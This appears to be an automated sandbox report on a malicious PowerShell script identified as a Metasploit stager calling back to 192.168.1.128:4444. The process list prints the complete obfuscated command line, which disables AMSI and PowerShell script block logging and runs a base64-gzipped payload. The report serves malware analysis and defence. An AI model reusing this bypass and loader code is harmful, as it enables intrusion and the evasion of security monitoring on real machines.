Overview

overview

10

Static

static

1

cc227eb535...99.ps1

windows7-x64

10

cc227eb535...99.ps1

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-09-2024 18:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    cc227eb535e8393e6dd1a8fc57fa248846b734a6f4ffeeb597481c0c88b44a99.ps1

  • Size

    4KB

  • MD5

    89d65474e7376b3c3f14b7a4bb93aaba

  • SHA1

    3e1a19502e13b2bfd738b235305b42cd773fa22f

  • SHA256

    cc227eb535e8393e6dd1a8fc57fa248846b734a6f4ffeeb597481c0c88b44a99

  • SHA512

    b9a6c4317b665835eec309b5d0122b1a3c8a2a8e761f3091413bc0c44a605f0c928875d3afc5f9b6285a249d3302069594ae46698032e3a2a6a139008e34235d

  • SSDEEP

    96:bByt6YIxXgkzrd4ye6rPk2sfbfxhbNycG4uB+bC7YY:bowXRF4QriLNycSB+b/Y

Score
10/10
metasploitbackdoorexecutiontrojan

Malware Config

Extracted

Family

metasploit

Version

metasploit_stager

C2

192.168.1.128:4444

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\cc227eb535e8393e6dd1a8fc57fa248846b734a6f4ffeeb597481c0c88b44a99.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -noni -nop -w hidden -c $huha=(('{5}'+'nabl{'+'3}{2}cri{4}t{0}loc'+'{1}I'+'nvocati'+'onLog'+'gi'+'ng')-f'B','k','S','e','p','E'); $y93BR=(('Sc{0}'+'i{1}t'+'B'+'lock{2'+'}ogging')-f'r','p','L'); $qtW9=(('{2}na{3}l{1'+'}S'+'c{0}'+'ip'+'tBlockLoggin'+'g')-f'r','e','E','b');If($PSVersionTable.PSVersion.Major -ge 3){ $tjHi=[Collections.Generic.Dictionary[string,System.Object]]::new(); $w3=[Ref].Assembly.GetType(((''+'{6}{0'+'}st{9}'+'m.{3'+'}ana{'+'5'+'}{'+'9}m{'+'9}'+'nt'+'.{8}{'+'2}'+'t'+'{7}mat'+'i{7}n.'+'{'+'8}msi{4'+'}t'+'i{1'+'}s'+'')-f'y','l','u','M','U','g','S','o','A','e')); if ($w3) { $w3.GetField((('a'+'{3}s'+'i{4}ni'+'{'+'0'+'}Fai{'+'1}'+'e'+'{2}')-f't','l','d','m','I'),'NonPublic,Static').SetValue($null,$true); }; $sD=[Ref].Assembly.GetType((('S{0}s'+'tem.{4}ana{5'+'}'+'ement.{'+'1}{'+'3'+'}tomation.'+'Uti{2}s')-f'y','A','l','u','M','g')); $pK=$sD.GetField('cachedGroupPolicySettings','NonPublic,Static'); If ($pK) { $eL=$pK.GetValue($null); If($eL[$y93BR]){ $eL[$y93BR][$huha]=0; $eL[$y93BR][$qtW9]=0; } $tjHi.Add($qtW9,0); $tjHi.Add($huha,0); $eL['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$y93BR]=$tjHi; } Else { [Ref].Assembly.GetType((('S{2}stem.'+'Mana'+'{4}'+'emen'+'t.{0}uto'+'mat'+'ion.S'+'cri{5}t'+'{1}{3}ock')-f'A','B','y','l','g','p')).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAFt/5GYCA7VXW4/aOBR+X6n/IaqQCBqGhBk6pSONtA4kEApTMoFwK1qFxCQuzqWJM8B0+9/3OIS5qEy3u1L9Emy'+'fmz9/5xyz'+'zkKHkSg{1}Nrt0KHx784dQjKGd2IEgluI1fV8VSsk{1}VZ42S1H3wztLuBHEB'+'YrjdhTYJFxeX7eyJMEhO8xrHc'+'xQmuJgRQlOxYrwtzDxcYLPP62+YIcJ34TSX7{1}OjVY2LcT2LdvxsXCOQpfv9SPH5qHVzJ'+'gSJpY/fy5XFuf1Z{1}39mtk0FcvmPm{1}4qLm{1}livC9wp3ONrHWCwPiJNEabRmtQkJLy9q'+'4zC11/gWrN3jAWZ+5KZlOM3TeRLMsiQsjsXtHKTEMvwcJpGDXDfBaVquCgvuYbFc/ikuCvd3WchIgGt6'+'yHASxSZO7omD01rXDl2K7/B6CVomS0joLSsVELuPNlgshRmlVeG/mBFv8fYI3q8qic+VQGrIkkoVbvX{1}QQ'+'eRm1F8{1}C2fiDSnQgVGQQdA8DsHcX2k{1}Nz2HeMEh54WjmOR72AIWhxGKcm1bwS5KgzAu82iZA/T0ijJcGX5CLlQYuNW9VeN1Y+aoIebDMHSwoqIu3wy8IICpe20z2Ve53Mbr0mI2/vQDohzpKx46lbwmuIcktpR7BYCFMvFBnbbmGLPZhxmTo4f1NSAsEddJSP{1}xQly4GZTiAouvfIymMPNiW{1}9HOAAwDvMga2lNSQKPkoXybE/eudzECq3qJ2mVWGY'+'QaY6VcHENsVuV{1}BhSootlLEo/1l+CneQ{1}{1}YcO'+'2VHc8vKSzQ'+'Lr60oTFm'+'SOXCrgMDIjLFDbMoBqQpd4mJlbxLv6L18Eo6WTSmkD1i6h+uAFQ6DyThXEgi{1}86JSMzHTg5jiAETyuqFR24Mq{1}eRIzi3bw275dJjHRDiwnsNyxONZkHDXJo1YVbBIwqAIcYg5uf5PDD9WHx5MK8HFzYjH/Fooe8b5X3JuV/6Kc7RAKMcjYYCFlkSBYqf4qnEoNOJbSSXtd8N29IBgqNqdYSmm2e6a8zHpjwPlztSZ2dHmOqnrnonOLs1NrJPLnjEadXsgh5L2zl8jPdXVrrI36gpyu'+'uS91cvliaw3TdQ1DEsLvKk3a231oT/VwVGr7+kefBXddxR5LnuKrJ'+'p9o6{1}YRPZmptE1GvW5LjWpQh5MPfeFuhPuz3C6vba9Az9qo9Gd7kbodtBDvvbJ1eoXmq8SGW24/nzT6bfVfO7wuTFLVaJqM8Py8WQM/rRYmaja3LBi3TvbeobVlxqar0xgTnb92JRg1Ou9+9B9GNDmwwDCNax5j+C57uG9hwyEzFlIzdW2hRTN2X70FE/VxrC2GenhzljFA3c/60ofrAHBcYQMFSGNQo4GyN62pfok+mhY74yxKu/2Y3m'+'3Vb9IW5X0tpviO+5cXXnSujG{1'+'}LFMPu7avQLz7XmNDemewF9iWPFtLFsevtQmlh3BKr3qDHFM4jwE6hONme3egd9BBLNSnkmR5kofW1NK9puFNo/DC3oDtiYcgQjijr5N1Tx84ECslm/HZVKqPIR456O1kHmvQa4K9i80Jm6YP+LpzGyk8DmXSidBk07lq7ZvDAZzDqoPN0MpGky7YhJizTZPDDHfbNlthx9SnF+7qTpHO3'+'JntKfPsDLkfvVghbiLVjZubt8D0xZiE7PJiW{1}ovnOFX3gze/FGK7Gdsf63XDewk9W0KWQA97FiLtCjRirY0jAjXEMX8hbPBSYgpvAng1XDMYkRp5PC2eGhg0JMPnZI37rGeh3XqV0V4FKw8tcvj0vX1HMKEw'+'pBnba2PQ4/5VXl3KcvQ5+Sd3MhrwK+frhXFe/FgrcpbJaDzaJ3m1sEgWQui+PsRgzcRg9r8E8xeg'+'w+cb6CaQnE/1DgOohJF9DmE+ckeCfECPw'+'CuDmdf8PfQgSpg4Rx/hfrLHwvPHx8l3/y97ClKtQ8f91/Z87T2k91fYpRc5fj8sPhy4VmP+40ITGzCQNKEjkPx4Q30ChBFxjy7Y9+EZFgXg/85+JSx81t4auZd7x8S{1'+'}veClwwAAA{0}{0}')-f'=','U')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3288

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    ae343a0c544713797d1582baed41cd6c

    SHA1

    170efb0fbebe36a6f605c6cfd664525f1158a58e

    SHA256

    dbc33d6f061613aaf9ec0a3472b37ec709ac168cde70c7b48c5807765f3ed292

    SHA512

    68afed158e066e67d6526627ceda320e1702779b95b8fe597ef573c1be7bcef0dc19f0e6fc17e8103c16fb0aa77d83e06e5f64435100d60193e3ee72e9bbc8b5

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exsjur5f.g1u.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3288-29-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-33-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-32-0x000002336CB10000-0x000002336CB11000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3288-31-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-30-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-17-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-18-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3732-11-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3732-16-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3732-12-0x00007FF9B78D0000-0x00007FF9B8391000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3732-0-0x00007FF9B78D3000-0x00007FF9B78D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3732-1-0x000002016C9F0000-0x000002016CA12000-memory.dmp

    Filesize

    136KB

    Download